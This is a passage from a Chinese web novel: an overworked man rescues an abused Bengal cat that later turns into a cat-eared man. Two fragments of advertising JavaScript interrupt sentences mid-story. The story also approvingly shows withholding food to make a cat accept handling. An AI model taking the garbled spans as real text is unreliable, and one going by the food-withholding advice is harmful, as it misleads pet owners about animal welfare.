《和猫猫装情侣后翻车了》 1. 捡到猫了 临近傍晚,工作了一整天外加来回通勤两个多小时的林染,吹着冬天凛冽的寒风,一路回到自己的老破小出租房所在的小区。 小区位于s市近郊,低层筒子楼,是大城市政府给原住民拆迁后的安置回迁房,没有大门更没有保安,停车位乱划分,唯一能夸得出来的是绿化还不错。 平时这里住着很多和林染一样从外地来s市漂泊的社畜,到下班的点,人群熙熙攘攘地走在昏暗的路上,面上不约而同展露出成年人的疲惫。 但今天路上人很少,因为今天是除夕夜。 林染的新领导不是个好东西,每天嚷着员工要对公司有奉献精神,连春节假都放得抠抠搜搜,自己提前回老家过年,一条非常专横独裁的简讯,要求全部门的人站好最后一班岗。 所以林染在除夕夜当天被迫加了班,直到晚上才能回家,还根本没有加班费。 一想到自己未来都要被迫在这种人手底下干活,这样一眼望不到头的憋屈职业生涯,林染都怕自己哪天冲动起来吊死在新领导的办公室里。 好在他胆小,只敢想不敢做,擅长自我麻痹和苦中作乐,有点甜头就会开心很久。 林染倒霉人生里运气好的时候很少,但几个月前他幸运地捡到一只猫,那之后每天下班最期待的事,就是回到家把在猫爬架上窝着睡觉的猫咪吵醒,趁其不备抓住它的两只毛茸茸的前腿,边被骂边把猫摁在大腿上狂吸。 总而言之,作为被上司压榨的可怜社畜,林染找到了他最喜欢的解压方式——撸猫。 也算是孤独又疲惫的生活里难得的慰藉。 想到家里越来越黏人的猫咪,林染脚步都轻快了,忙着回家给它喂粮。 然而好不容易爬上五楼,开锁推门,林染差点没被眼前的景象吓晕——他家里出现了一个根本不认识的陌生人! “……你是谁啊?” 小偷?还是强盗?还是邻居误闯? 林染惊讶又茫然地看着自己出租房里那位不速之客,对方没有回答他的话,看起来似乎是动物人,浅头发绿眼睛,长着一张精致漂亮的脸蛋,个子很高,因此居高临下的眼神扫射过来时,让他不由自主的腿软。 更别提这人脑袋上顶着一双怒气冲天的飞机耳,长长的尾巴不爽地在身后摇摆,站在客厅中央,双手抱胸,眼底毫无温度,浑身上下都散发着冷气,一副风雨欲来的模样。 不是,帅哥你谁?为什么这么凶? 不会是小偷作案时刚好被撞破的恼羞成怒吧? 林染被对方逼人的气场惊到,莫名想起前几天上班摸鱼时看的小偷入室盗窃因为没找到钱痛杀户主的视频,“嗡”地一声,本就因疲惫而不灵光的脑袋像是要炸开,心更是提到了嗓子眼,抱着包就往外跑。 但是刚转头,林染突然想起他们家猫。 我的咪咪呢? 笨猫今天怎么没出来迎接我! 林染猛地驻足,才停了一秒,身后就传来一道不容忽视的凛冽风声。 猫系动物人动作迅速,行动敏捷,完美地继承了猫的特性,三步就跨过狭窄的客厅,一把抓住林染后脖颈的衣服,将人狠狠带回房子,顺便一脚将大门踹紧,叫他无处可逃。 面对这样的对手,林染的小身板毫无反抗之力。 林染瞪大眼睛,惊魂未定时,只感觉背后猛地撞上一堵温热的肉墙,整个人都应激了,立即丢下手里的包,双手抱头。 “不……不要伤害我,我当做没见过你行不行,我不报警。” 很怂,但识时务者为俊杰。 就是叫声太过凄厉,让揪住他衣领的大手一顿。 这位大帅哥眉头紧锁,丝毫不顾林染的挣扎,把他一路拎着丢在破旧的沙发上,随后俯身上去,压住他和自己比起来显得非常瘦弱的身体,脑袋贴到林染脖颈的位置,仔仔细细地嗅闻着。 林染:“??” 实在是一个很诡异的画面。 滚烫的呼吸喷洒在裸露出来的肌肤上,被迫惊起一串鸡皮疙瘩。对方举动莫名亲近,毫无边界感,林染刚才还惨白的脸逐渐变得滚烫泛红,咬着牙往后退,一副誓死不屈的贞烈模样。 “你、你干什么,我是男的……劫财可以,劫色不行!你要这样不如杀了我!” 大猫:“?” 没工夫搭理林染乱七八糟的话,关注点在他的衣服上——帅哥的手掌摸索着,在林染胸口处捻起一根白色的猫毛,臭着脸低声控诉。 “你又敢在外面抱别的野猫。” 声音很好听,内容很莫名其妙,行为更是叫人难以置信。 两人贴得太近太紧,林染拼命挣扎,缩进沙发里,企图伸腿踹开面前这个高个子,被对方眼疾手快地狠狠禁锢住脚腕。 帅哥看起来更生气了:“还踢我。” “为什么不能踢你,你擅闯民宅!” 林染被他理直气壮的语气弄得一头雾水,又踹了两下,发现对方只是控制他的攻击,并没打算伤害他,还用一种熟悉的眼神睨着自己。 再迟钝的人也察觉到不对劲了,于是林染的反抗渐渐停止。 “你……不是小偷啊?那你闯进我家干嘛,我认识你吗?” 没人回答。 小偷这个字眼好像触及帅哥不大的心眼,嘴唇抿成一条直线,很是生气的模样。 林染缩了缩肩膀,害怕被揍,可等了好一会儿,也没等到对方大发雷霆。壮着胆子盯他的脸,在这位人形大猫气愤又熟悉的目光里,扫了好几眼他脑袋上非常漂亮的耳朵。 尖尖的,是浅金色,毛很短。 好像……有点像他们家猫。 不会吧? 就算现在大街上到处都是动物人,他们家猫也不可能变成人,还是个上等货色的大帅哥。 …… 等等……其实好像也不是不可能。 林染努力想说服自己,可是心底却涌出一个不容忽视的声音,内容很荒谬。 难不成猫变成人是真的? 林染身体僵住,努力克制颤抖,手指伸出去,轻轻摸了一下帅哥的耳朵。 不是。 这个触感? “你是……”林染瞅着他难看的表情,诧异到声音都有点破音,“咪咪?” 面前的帅哥听到这个称呼,恶狠狠地拧起了眉头。 林染立即又想往后缩,生怕这人像个爆炸桶一样不说一声就炸开了。 但他却看到这位猫系动物人,冲着自己点了点头。昂起那颗高贵的脑袋,用他那双淡绿色的漂亮眼睛,居高临下地看着林染。 “是我。” 以一种同意林染当自己奴隶的傲慢语气开口,非常勉强地承认了他给猫取的烂大街名字。 林染:“……” 不会在做梦吧?是梦的话,扇自己两巴掌能不能醒过来,真的离大谱了。 捡回家的流浪猫变成人了? 林染表情错愕地坐在沙发上,被男人钢筋一般的手掌控制得死死的,但仍旧抱着最后一丝希望,朝着出租屋里猫常呆的角落喊了一声咪咪。 等了十几秒,没有猫应他。 平时那只开门时边骂骂咧咧边讨饭吃的猫消失了…… 林染的视线往那张冷脸上缓缓移动。 他们家那只笨猫变成了一个男人,比林染还高还壮还帅的成年男人。 活的男人。 不是做梦。 老天爷,真是折寿。 * 几个月前的深夜,林染刚下播,去24小时便利店买夜宵,路过小区楼下垃圾桶时,发现了一只瘦弱的狸花猫。 岁数不大,眼睛半阖着,因为潮湿毛发紧紧地黏在身上,露出粉色的皮肤。数条交错的血淋淋伤疤盘桓在修长的躯体上,林染惊讶的发现,这只猫的花纹长得很漂亮。 可惜是个哑巴,浑身上下都是伤口还能忍住一声不吭,默默躲在阴暗的角落里等死。 要不是林染扔垃圾时不小心把手机也扔进垃圾桶里,着急忙慌地翻找,肯定看不到这只奄奄一息的猫。 十月初,由于大雨气温变得很低,林染觉得,如果自己再晚半小时发现,它大概真的会死在垃圾桶里。 虽然不知道发生了什么,林染所剩无几的良心在提醒他,这只猫需要救助,于是赶紧用自己的外套把它兜起来,做好要花很多钱的心理准备,带去最近的宠物医院治疗。 自从几十年前联盟出台了人类和动物人的和平法案,并用人类的生活习惯和文化教育对他们进行开化引导,这些年与动物人紧密相关的暴力、治安事件已经越来越少。 但很多隐匿的角落里,人类和动物人的矛盾仍旧激化。 许多人类认为动物人的出现抢占了人类的生存空间、就业渠道,导致人均可支配资源越来越少,再加上动物人仍未彻底改掉弱肉强食的野性,一些人类觉得动物人群体对自己的种族有威胁,因此,即使政府无数次在其中缓和矛盾,也还是纷争不断。 更是有不少新闻报道,部分人类因为种种原因没地方发泄怒火,会将怨气发泄在动物们身上。那些与动物人这个种族的起源关系密切的小动物们就遭了殃。 无论哪种情况,一只伤痕累累的猫躲在垃圾桶等死都是不正常的,因此当时的林染合理猜测,这只猫大概是遭受了人类的虐待。 果然,在带着猫咪到宠物医院后,浑身伤的猫咪惊动了院长,亲自出山给它做检查和手术,查出来一串毛病。 严重营养不良、耳螨、寄生虫、跳蚤,更别提严重的炎症和外伤,后肢甚至骨折断裂。 难以想象 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,它受了多大的痛苦。 林染看着这只可怜的哑巴猫,在医生的建议下放弃了哑巴这个名字,给它正式取名“咪咪”。 肉痛地做完手术、驱虫、打针,并开了几千块的药,林染抱着一直昏迷不醒的小猫回家,在他的悉心照料下,第二天起床准备上班前,猫咪醒来了。 凌晨六点,窗外晨光熹微,透过灰色窗帘缝隙钻进房间,伴随着鸟叫声,林染在自己的小破出租房的床上迷迷糊糊睁开眼,看了看手机的时间,还早,准备继续睡下。 然而目光突然瞟到角落里,那堆用自己旧衣服临时搭好的猫窝,有一双幽幽盯着他的绿眼睛。 满脑子瞌睡被吓醒,林染完全忘记昨天捡了只半残的哑巴猫,发出惊恐的尖叫。 “鬼啊!” 角落里盘踞的猫被他尖锐的叫声吓得把脸埋进窝里,直到林染清醒下来,想起来昨天发生的事,叫声戛然而止。 室内静默片刻。 “猫……咪咪?” 林染在昏暗的晨光中眨了眨眼,意识到自己反应过度吓到猫了,立即打开灯,冲到小猫面前急忙安抚。 “别害怕,我是爸爸。” 咪咪:“?” 猫咪不可置信地抬起头,看到林染越凑越近的脸,发出阴恻恻的哈气声,同时把尖牙亮出来,十分刺目,凶得吓人。 咪咪:“喵嗷!”滚呐! “咦,不是哑巴啊。”林染嘟囔着。 他昨天已经从医生那里了解到一些养猫的基础知识,深知这只小猫曾经受过虐待,对人类的印象很差,可能苏醒后出于自我保护的本能,看到人类时会出现攻击行为。 林染犹豫地躲了躲,继续安抚的语气,夹起嗓子喊自己给小猫取的名字。 “咪咪,别怕,我不会伤害你。” 起身跑到储物柜边上,拿出昨天在医院买的幼猫猫粮。 根据医生的鉴定,这只可怜的猫才六个月大,还没成年,因此还需要吃好消化的幼猫猫粮。 林染掏出矮盆,把猫粮倒进去,举到咪咪面前。 但是这只漂亮的豹猫却扬起高傲的脑袋,耳朵更是快要竖起来,双眼死死盯着他的动作,仍旧张嘴哈气,不肯吃一口。 昨天医生告知林染,他捡到的这只伤痕累累的猫,是品种比较稀有的豹猫,并不是狸花猫。 而且根据骨骼发育的情况来看,这只豹猫的血统纯正,是亚豹和埃及猫培育出来的孟加拉豹猫,虽然已经没有太大野性,但在手术中无意识情况下仍旧警惕十足,呲牙咧嘴的模样,脾气很可能比较差。 林染想起医生的叮嘱,猫咪已经营养不良了,一定要让他吃东西,否则会导致器官衰竭。 见猫不肯进食,又哄了两声,没办法把冰箱里昨天准备的鸡胸肉掏出来煮熟,切碎了,再送到咪咪面前。 但是高贵的豹猫始终不为所动。并且因为疼痛和警惕,发出越来越高昂的嚎叫声,企图逼退身前的林染。 这下林染终于不乐意了。 他得让这只坏脾气的猫知道谁才是这家里的主人。 于是从昨天在宠物医院买的一大堆东西里,拿出一支宠物用的针管喂食器,将被弄碎的鸡胸肉塞进去,戴好手套,一只手轻轻掐住猫的嘴巴,另一只手拿着喂食器,非常强势地将食物挤进猫嘴里。 咪咪:“喵嗷——” 猫很生气,但饭都送到嘴边,一直死死摁住的进食欲望被林染彻底激发,控制不住地把肉吞进肚子。 林染看着手里的猫骂骂咧咧地吃着食物,嘴角弯了弯。 “叫你凶我。” 但是咪咪吃饱喝足后立刻又翻脸不认人,低沉的嚎叫压在嗓子里,朝林染哈气。 林染蹙了蹙眉,想生气,又觉得自己太过幼稚,犯不着和一只被虐待过的猫较劲儿,想到自己还得出门上班,洗漱好,把猫留在家里出门了。 再回家的时候已经是将近九个小时后,林染开门,边推边喊“咪咪”。 把一只受了伤的小猫独自放在家里真是让人很担心,林染满脑子都是家里的新成员。 看到临走前在盆里留下来的食物被咪咪吃得干干净净,林染总算松了口气,凑到猫窝处把沉睡的小猫硬生生摸醒,又被哈了口气。 但他毫不在意,笑眯眯地继续摸。 “咪咪,自己一个人在家过得怎么样。” 猫当然不会回答林染,呲着牙想咬他,被早有防备的林染躲开了。 “脾气真臭。” 就这样,独自一人在大城市打工,贫穷又倒霉的社畜林染,终于有猫了。 虽然很凶,浑身是伤,但林染有信心把他养好,养得白白胖胖。 这一定是天赐的缘分,让我来拯救可怜小猫。 林染高兴地想。 2. 猫?吸一下 咪咪因为伤没办法洗澡,浑身脏兮兮的,好在医院时护士给它做了简单的清理,还打了驱虫药,此刻趴在窝里,瘦的后脖颈的位置都有明显的凹陷。 林染加上了护士的微信,跟着对方的建议给咪咪做猫饭,又一次如法炮制塞进猫嘴,被不知道感恩的坏脾气臭猫怒骂十分钟。 看了眼时间,林染挪动到房间角落里的电脑桌前,打开麦克风,开启自己的直播间。 林染白天是个月薪五千的上班族,晚上则是个短视频平台上的小透明主播。 他有点缺钱。一开始只是在平台上摸索着发点游戏视频,结果被直播公司找上门,开了每个月三千的保底工资,于是林染变成了一位声音好听但游戏水平十分堪忧的主播。 林染一开播,就有几位粉丝蹲在他的直播间,像往常一样和他们打完招呼,上线打游戏。 “观众朋友们大家晚上好,今天播的是逃生,可能会有点恐怖哦。” 【来看主包被吓得嗷嗷叫】 【主包今天迟到了一分钟!】 林染的声音和他本人的性格一点都不一样,很温柔,很有欺骗性,但在惊吓中死了好几回后,直播间里因为他的声音跳进来的观众失望地离开,并留下一句“菜比做什么主播”。 废物,菜比,真丢人,别打游戏了…… 这样的嘲讽很多,直播间每天都会有很多不和谐的声音,一开始林染也会因为这些话难受内耗,但时间长了就逐渐习惯。 家里剩下来的债务不少,他需要这份工作还债。而且他现在是有猫的人了,得赚钱买猫粮。 赚钱嘛,不寒碜。 林染看得很开,他签的合同每个月都有保底工资,给谁打工不是打工。每天晚上直播四小时,一个月拿三千块,只要公司不倒闭,他就能继续干下去。 林染边打游戏边注意挨着床角落里的猫窝,瞟了好几回,说话出现卡壳,被观众注意到,问他在和谁说话。 “不是,是我家刚捡回来一只猫。”林染赶紧盯着屏幕里的人物继续操作,“受了伤,很凶呢。” 林染本来就女粉比较多,一听到他捡到了猫,弹幕里仅有的活人开始刷屏,她们对猫咪的脾气没有半点数,高兴地建议林染可以抱着猫做直播。 暂停了游戏,林染真情实感地感叹。 “你们也不怕我被挠死,刚捡回来,每天喂吃的还把我当仇人,抱他跟抱炸弹没区别。” 听到这话,弹幕里不少养猫的观众,开始推荐他猫粮,以及和小猫培养感情的方法。 林染随便扫了眼,有点疑惑。 “猫难道不是给它吃喝供着就会亲人了吗?我看网上视频都这样。” 【当然不行啦,养任何小动物都得用爱】 【小猫咪就像小孩子,要哄的】 还得哄它?林染挑了挑眉,我还没人哄呢。 林染边打游戏边看弹幕,突然刷到这样一句话,让他瞬间产生了共鸣。 一位粉丝说要在小猫年纪小不懂事没见识的时候对他进行强制爱,大了以后就习惯了,到时候别说抱,随便怎么揉捏都不生气。 林染想象了一下这样的场景,没忍住翘起嘴唇。毛茸茸的猫咪,主动摊开肚子任他揉捏,边捏还边喵喵叫。 想到这个画面,林染每天在外辛苦打工的疲惫和怨气都散了大半。 熬到下播,和观众们道别,在大家强烈的要求下,林染拍了张咪咪趴着睡觉的照片发进粉丝群里。但是忘了关闪光灯,把猫闪醒了。 于是很滑稽地拍到了小猫被惊醒的模样,龇牙咧嘴的。 林染笑得乐不可支。 在咪咪的嚎叫声中抽出宠物医院买回来的药,带好手套,拿着配套的喂药器给他打药。 边打还边笑:“乖乖,吃了药就不疼了。” 趁小猫吞药没注意,脱掉手套快速地撸了把咪咪背上的毛。手刚落下,猫就眯着眼睛朝他不安分的手指咬去,得亏林染躲得快。 “好吃好喝招待你,摸也不给。”看着猫又变成飞机耳,林染悻悻地缩回手,想着强制爱什么的还是再等等。 连摸都不让,一凑近就呲牙嚎叫,脾气这么大。 林染都怕强制一下给它气死了,刚花了那么多钱救回来,怎么能让自己的钱打水漂。 他绝对不允许在自己身上发生任何浪费钱的事。 过了几天,一人一猫在并不大的出租房里相处算是和谐。猫咪一直很警惕,却不会主动攻击林染,只要他不犯贱去摸猫,偷偷挠人家尾巴和肚子,猫咪也不会无缘无故朝他哈气。 但和医生约好的复诊日子来了,怎么把猫带去医院成了问题。 网上买的航空箱扔在客厅角落好几天了,林染始终想不到让猫主动钻进去的办法,但他难得和领导请假,不能浪费了这宝贵的一天。 于是林染全副武装,穿了两件外套两条裤子,戴着手套硬生生把猫捉进箱子。 一顿操作下来,猫在慌乱之下挠伤了林染胳膊露出来的一小截肌肤,疼得他抽气,气愤地威胁道。 “再挠我,带你去医院阉了!” 咪咪似乎是听懂了,在笼子里更生气了,一顿乱挠,尖锐的指甲摩擦箱子发出嘎吱嘎吱的声音,声音听着都让人头皮发麻。 好凶啊。 真的能养熟吗?林染无奈了。 到了医院,咪咪的暴脾气在检查的环节再一次展现出来,甚至更吓人。 宠物医院的病房里有点凌乱,桌上全是一只又一只凶猫留下来的爪印,足以证明这里经历过什么。 院长穿着长袖外套,虽然动作熟练地快速从航空箱里掏出猫咪,但这过程中还是被咪咪抓了。 和林染一样,裸露出来的一截肌肤上,被猫咪见缝插针地挠了三四道红痕,聪明的猫很清楚人类没有保护的皮肤是脆弱的,对着弱点疯狂伸爪子,像是某种受到伤害后条件反射的自我防护机制。 害得林染一直不好意思地给院长道歉。 实在没办法,两个大男人死死摁住咪咪,让护士给他来了针镇静剂才睡过去。 最后好不容易照完心电图和腹部彩超,结果显示器官和身体机能恢复的特别好,断掉的腿也在慢慢愈合。 林染松了一口气,带着昏迷的猫回家,趁机给他冲了会儿澡,用吹飞机吹干。 咪咪很瘦,猫脑袋尖尖小小的,睡着的模样特别乖巧,一点儿都不像白天时凶巴巴的样子。因为刚洗过澡,毛发蓬松,粉色的小爪子不自觉张开,像一朵要开不开的梅花,特别漂亮。 林染戳了戳小梅花,没有任何反应,于是大着胆子伸出作恶的手一通揉捏,还趁机拍了不少照片。 最后拍够了,林染把猫咪仰躺着摊开放在并拢的大腿上,弯腰把脸埋进咪咪肚子里狂吸。 林染趁猫之危,玩得不亦乐乎,完全沉迷于刚洗完澡香喷喷的猫毛里,听到咪咪疑惑又沉闷的叫声时,才发现小猫醒过来了。 “喵?”你在干什么? 一人一猫近距离对视,林染眨眨眼,不怎么尴尬地笑了声,刚想躲,就被近在咫尺的咪咪毫不留情地扇了一巴掌。 动作迅速且利落,毫不迟疑。 林染怀疑自己没破相是因为猫没反应过来伸指甲,否则他的脸此刻一定好几道血痕。 “嘶——”林染也有点恼火,口不择言道,“我吸吸你怎么了,你长得这么可爱不就是给人吸的吗!” 林染说完这句话就盯着猫咪,本该细长的凤眼都被他瞪圆了,一脸郁闷。 但是猫比他更生气,明明后腿都断了,还要勉强撑起来给自己做出防御的姿势。刚给他洗好梳理干净的猫毛也都全部炸开,一副被人惹毛了的样子。 林染沉默地等了好久,最终不甘心地从鼻子里蹦出一声冷哼。 要不是它总是拖着腿看起来可怜兮兮的样子,林染绝对要和这没良心的臭猫吵一架,看谁吵的过谁。总不能他天天喂食花钱,还天天挨骂挨揍,哪有这么过分的事。 又不是林染虐待它的,怎么脾气都往他身上撒。 不过全世界的猫主人大概都很擅长给自家猫咪冷脸洗内裤,林染晚上直播时,气已经全消了,兴奋地告诉粉丝们他今天不仅摸到还亲到猫了。 直播间里的粉丝们知道主播捡回来一只超级凶的流浪猫,看到他这么开心,纷纷发弹幕恭喜他,一片喜气洋洋。 【强制爱的秘诀就是脸皮厚】 【主人不坏,猫猫不爱】 【建议主播多抱抱猫猫,抱完才给吃饭,不让抱不给吃】 林染敏锐地捕捉到这条弹幕:“这样不会让他更生气吗?” 【不会的!主包信我,我家小猫就是这样练出来的,动物和人类不一样,需要训练的】 有道理。 于是,下播后,明明很困的林染打了个哈欠没去睡觉,鬼鬼祟祟地跑到角落里开了根猫条。 小猫大概是因为白天被打了镇定剂,很早就有点困了。把上半身挂在林染用来搭猫窝的旧衣服上,脑袋搭得高高的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,能一眼看清周围情况,这个姿势即使处于沉睡中,也让它有安全感。 淡绿色的眼睛半阖不阖,连林染拿着猫条凑过来都没有任何动静。 林染蹲在他面前,想起他今天拖着一条腿在医院里和院长气势汹汹地干仗,凶别人家的小猫,但是此刻一只猫缩在窝里,身体瘦瘦的,脸小小的,鼻子是暗粉色,实在是可爱得要命。 也顽强得要命。 就像是在绝境里汲取最后一滴水,扒着土壤拼命生长的野草。 即使浑身伤,吃不饱还挨冻,这样艰难也活了下来。 医生说,它其实很聪明,知道在昼夜温差大的室外,只有躲进垃圾桶能保暖。如果不是被虐待,这样的猫咪成年后肯定是方圆十里最勇猛的猫老大。 林染无比庆幸,自己把它救了回来,虽然忘恩负义了点,再怎么也是一条鲜活的生命。 心软了,林染的滤镜两米厚,把猫条怼到咪咪鼻子下边,声音很夹:“吃吗宝宝。” 咪咪这几天对他乱七八糟的称呼已经无力吐槽,一脸被烦到的表情,甩了甩尾巴,把脸转过去。 怎么会有小猫咪不喜欢吃猫条的,到底是不是猫? 林染不死心,又跑去开了盒冻干,怼到他面前。 “吃吗?” 这回咪咪总算正眼看林染了,上半身微微拱起来,眼睛里都是警惕。 “喵?” 盯了五六秒,见林染没打算作妖,咪咪探着脑袋过来准备开吃的前一秒,喂到嘴边的食物突然飞走了。 咪咪:“?”耍我。 林染笑吟吟地看他:“想吃的话,要给爸爸摸一下,爸爸以后都会对你好。” 虽然猫咪的世界里没有好坏之分,但林染想告诉他,自己将会是对他最好的人,和那些坏人不一样。 他想和猫咪亲近,想要猫咪也接纳他。没办法用语言沟通,那就用猫咪喜欢的食物做桥梁。 说完林染就试探着朝咪咪的后背伸手。 不知道是不是确实听懂了林染的话,还是白天打的药现在还没消耗掉。小猫睁着细长的眼睛,盯着他的动作,并没有像往常一样转头咬他。 林染眼睛亮了亮,想着网友果然诚不欺我,一边递冻干一边撸猫,刚摸了两下,手指突然感觉到刺痛。 定睛一看,小猫眯着眼睛在他手指上抓了一道印记。 林染“嘶”地大声抽气,想让猫咪知道它抓疼自己,能轻点。 然而猫咪根本无动于衷,还是眯着眼睛呲牙凶他。 林染不死心,把冻干藏在身后,再次重复。 “想吃零食,就要给摸。” 猫咪根本不想搭理林染,被吵醒后很生气。 他觉得林染在戏弄自己,人类果然都一样恶心无耻。 “喵——”不可能。 “那以后别吃饭了。”林染又气到了。 说完,把身后的冻干拿出来,当着猫咪的面,远远地抛出去。 白色的鸡胸肉冻干就这样越过小半个屋子,从猫窝的角落扔到客厅的另一角。咪咪遵循本能想要冲过去叼起来,还在恢复期的后肢拖了后腿。 挣扎了两下,最后只能发出非常不甘心的吼叫声。 “喵!” 十分钟后,一人一猫大眼瞪小眼半天,最终以林染成功得逞结束对峙。 看着面前吃着冻干的咪咪,林染把自己的手掌贴在猫的脑袋和背上,没有得意洋洋,只是温柔地摸了又摸。 猫咪看不到他的表情,只觉得这个人类像苍蝇一样讨厌,没完没了地骚扰自己。 边吃边发出不耐烦的声音。 猫咪想起今天醒来时,林染的脸埋进他肚子里不知道在干什么的猥琐样子。 等他的腿恢复好,就逃离这个鬼地方,再也不会和这个流氓见面。 猫冷静地思索着。 虽然他什么都不记得,也完全忘记自己真正的名字了,但他肯定不会是叫“咪咪”这么蠢的称呼。 以及他完全可以听懂人类的语言,虽然不知道为什么,但是绝对不会告诉任何人。 昏迷前看到的人类,丑陋的、危险的、充满恶意的,他们盯着自己的伤口哈哈大笑,要不是他拼尽全力抓伤了其中一人的眼睛,根本逃不出去,大概会死在人类手里。 林染虽然比那些畜生好一点,但是这些人类的本质几乎都一样,他见识了太多无端的恶意。 绝对不能让自己陷入危险第二次。在此之前,养好伤才是当务之急。 3. 不让抱?坏猫 林染的前领导突然辞职,换了个据说是关系户的空降兵来他们部门。 新官上任三把火,林染从闲的没事干变得越发的忙碌起来。有的时候甚至都很难顾及晚上的直播,下周还要提前请两天假,连带着周末假期一块儿陪新领导飞别的城市出差。 实在是很突然的变故,小猫刚捡回家一个月,还在养伤的阶段,每天林染到家第一件事就是问他要钥匙开锁吃冻干,根本离不开人。 林染原本想推掉这份工作,可领导指明要他,实在没办法,在出差前一天给家里的猫碗添了四五天的猫粮,换来猫臭着脸嫌弃的叫声。 “喵——”不喜欢吃速食。 猫咪长大了些,腿不再一动不能动,偶尔躺的久了,还会起身给自己做复健,拖着后肢在屋子里绕着圈逛。 这几天林染早出晚归,他为了吃冻干只要一有空就绕着林染的脚边走,美滋滋吃完就跑,非常功利的小猫,装都不装一下。 林染忍不住往他屁股揍了一巴掌:“还敢挑,要么吃要么饿死自己选。” 手还没落下,猫就眼尖地把自己的屁股往外躲开,要不是因为伤拖了后腿,一点都挨不着林染的巴掌。 还是被打到了。 猫气得嗷嗷叫:“喵嗷!!” 粗鲁又下流的人类,你们种族之间会随便打人家屁股吗! 林染看着咪咪从半死不活到现在生龙活虎的样子,满肚子担忧和郁闷顿时散了,伸出爪子又想拍,被察觉他心思的猫咪手疾眼快躲了过去。 “算你机灵。” 说来也奇怪,林染捡回来这只猫快一个月,当初发现的时候浑身都是流浪的痕迹,受伤、脏又臭,可偏偏嘴叼得跟什么总统养的猫一样,猫粮是不吃的,猫条这种加了诱食剂的小零食也是不碰的,唯一喜欢的就是林染买回来并加工好的鸡胸肉泥,和林染在网上找了好久的原生态鸡胸肉干。 林染不止一次吐槽,这臭猫要是个人,一定是那种一点油脂都不沾的健身狂魔,挑食但健康。 收拾完猫窝猫粮和猫砂盆,林染还是不放心,戴上手套硬把猫拽进怀里,强行用毯子把尖锐的爪子裹起来,大声叮嘱。 “来,和爸爸一起发誓。” “喵!” “接下来的三天,我在家不会乱跑也不会乱尿,做一个很乖很听话的小猫,乖乖等爸爸回家。如有违背,这辈子都不能吃鸡胸肉冻干。” “喵!!”神经病! 自导自演一番的林染把自己整笑了,但没一会儿又开始发愁,担忧猫咪的生存情况。 于是,林染思忖片刻,花重金喊了个跑腿在家附近还没关门的商店里买了个智能监控,用来监督小猫吃饭睡觉。 为了图便宜,监控买的很老式,没那么好安装。 晚上九点,林染搬了张塑料椅在客厅的墙角凿钉子,结果一个没站稳从椅子上摔了下来,成功在出差前一天晚上把自己摔到半身不遂。 非常猝不及防,连一直无视并懒得搭理他的猫都被震耳欲聋的摔东西声音吓到,猛地从猫窝里窜出来,看看发生了什么。 只见一截白皙的腰身在地上颤抖着蠕动,宽松的短裤因为摔跤的动作被旁边书桌一角勾住,一分为二,撕裂开来。林染侧躺着,脸都痛到完全拧起来,发出“诶呦卧槽”的抽气声。 摔得很惨,但也有点好笑。 猫一个趔趄,蹒跚地爬到床上,不远不近看着,不知道要做些什么,就见林染边哀嚎边捕捉到他的身影,颤颤巍巍伸出手。 咪咪:“?” 林染:“宝宝,爸爸要白发人送黑发人了……” 咪咪:“……”有病就去治。 猫翻了个白眼,但忍耐了一会儿还是没有绝情地转身就走,仍旧撑着身体盯着林染。 看起来确实有点糟糕的样子。 怎么自己把自己摔成这样,笨手笨脚的,人类果然愚蠢。 他又不是没脑子,当初在外流浪被人虐待都活下来,自己一个人在家怎么会出事。 林染不知道小猫咪在鄙视自己,他向来爱伪装自己,无论发生什么第一反应都是嘻嘻哈哈的,哪怕心底非常悲观,也不爱在面上显露分毫。 虽然他笑得多运气也没见好,但是很多艰难的时候微笑确实能暂时掩盖痛苦。毕竟人生艰辛,再不骗骗自己,怎么熬过这些苦闷的日子呢。 只不过面对这种直观的疼痛,真的很难笑出来,林染连扯一扯嘴角都觉得费劲全身力气。 努力地蠕动两下,林染的后背都起了一层冷汗。实在没办法,只好调整好姿势后在地上躺了会儿缓缓。 “喵?” 床上传来娇气十足的猫叫。 林染头一回听到咪咪不刻意装凶的叫声时,还嘲笑他夹子音小母猫,被毫不留情地挠了。于是再也没怎么听过猫叫。 但此刻咪咪拖着后腿,从床边往下看去,一双绿色的大眼睛此刻瞪得圆溜溜的,没有平日里轻蔑傲慢的模样。 “喵。” 林染反应了好一会儿,听到平时不爱叫的小猫突然盯着他连叫了两声,很反常,觉得小猫可能在关心自己,边感动自己这一个月没白养他,边高兴地安抚猫咪。 “宝宝,我没事!” 你自己说的。 猫咪不屑地扭头,给自己舔毛。 挣扎着起身的时候,林染攀住离身边最近的椅子,一路挪到床上,离小猫越来越近。 于是,在屁股终于挨在床上时,林染突然伸手,把毫无准备的猫咪抱进怀里。 “喵!” 林染也不知道自己怎么想的,疼成这样还有功夫抱猫。他只是看到那双猫眼睛似乎有点嫌弃又关心地看着自己,整个人都有点控制不住。 就像是看到自己撒的种子突然开花了。 很开心,觉得这一个月对猫咪的悉心照料和感情培养,终于有了回报。 这天晚上,林染抱着凶巴巴的咪咪抱了整整一分钟,它都没有咬踹挠人。虽然很不耐烦,浑身上下的毛都炸开了,嘴里还骂骂咧咧地嚎叫,但总归是第一次让林染抱了。 自己有猫的实感在捡到猫咪整整一个月后才姗姗来迟,虽然代价是摔了一跤,但林染还是很惊喜,总算没白疼它。 睡前边在床上抽气,边呲着大牙给领导发消息,林染把自己摔跤的事告知对方,并尴尬地请了个病假。 领导那边始终没回消息,林染一整个晚上都因此十分忐忑,半夜惊醒几次,临近早上才困倦地陷入沉睡。 直到上班的闹钟响起,林染第一时间看手机,总算看到对方的回复。 果不其然,对方直接在部门群里大发雷霆。 电话打了过来,把林染骂得狗血淋头。林染摔得浑身酸痛,连起身都费劲,还要跟孙子一样,一边解释,一边讨好领导。 “抱歉抱歉王总,是我的问题,出发前一天才告知,实在抱歉。” 林染也有些愧疚,但被当着全部门的面,被领导毫不留情地怒骂这件事,实在损伤他所剩无几的尊严,赔礼道歉的时候,恍惚间都有点想干脆辞职算了。 可是辞职之后要做什么呢?做每个月三千块保底工资的男主播吗? 债没有还完,工资也不高,还得养猫。 林染想到这里,突然觉得自己的尊严值每个月五千块钱的工资,一下子也没那么难受了。 挂了电话,林染的心情半天才平复下来。目光放空地在房间里漂移,视线角落里有什么东西动了动。 